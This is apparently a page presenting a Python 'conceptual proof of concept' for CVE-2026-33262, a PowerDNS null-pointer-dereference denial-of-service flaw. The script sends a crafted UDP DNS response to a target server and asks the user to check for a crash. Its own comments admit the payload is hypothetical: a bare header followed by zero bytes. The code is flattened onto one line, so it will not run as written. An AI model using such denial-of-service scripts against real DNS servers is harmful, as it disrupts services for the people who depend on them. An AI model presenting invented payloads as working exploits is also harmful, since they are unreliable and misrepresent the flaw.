CVE-2026-33262 PowerDNS 空指针解引用拒绝服务漏洞

# Conceptual Proof of Concept (PoC) for CVE-2026-33262 # This script is for educational purposes only to demonstrate the vulnerability concept. # It simulates sending a crafted packet that triggers the null pointer dereference. import socket import struct def send_malformed_packet(target_ip, target_port=53): """ Sends a crafted DNS response to trigger the inconsistency check failure. """ try: # Create a UDP socket sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Construct a minimal DNS header and payload that bypasses consistency checks # Transaction ID: 0x1234 # Flags: Response (0x8000) # The specific payload structure depends on the actual missing check implementation. # Here we simulate a truncated or malformed response. header = struct.pack('!HHHHHH', 0x1234, 0x8000, 1, 0, 0, 0) # Hypothetical payload that causes the dereference payload = header + b'\x00' * 10 print(f"[*] Sending malformed packet to {target_ip}:{target_port}") sock.sendto(payload, (target_ip, target_port)) print("[+] Packet sent. Check if the service crashed.") sock.close() except Exception as e: print(f"[-] Error: {e}") # Usage example (replace with actual target IP for testing in an isolated lab) # send_malformed_packet("192.168.1.10")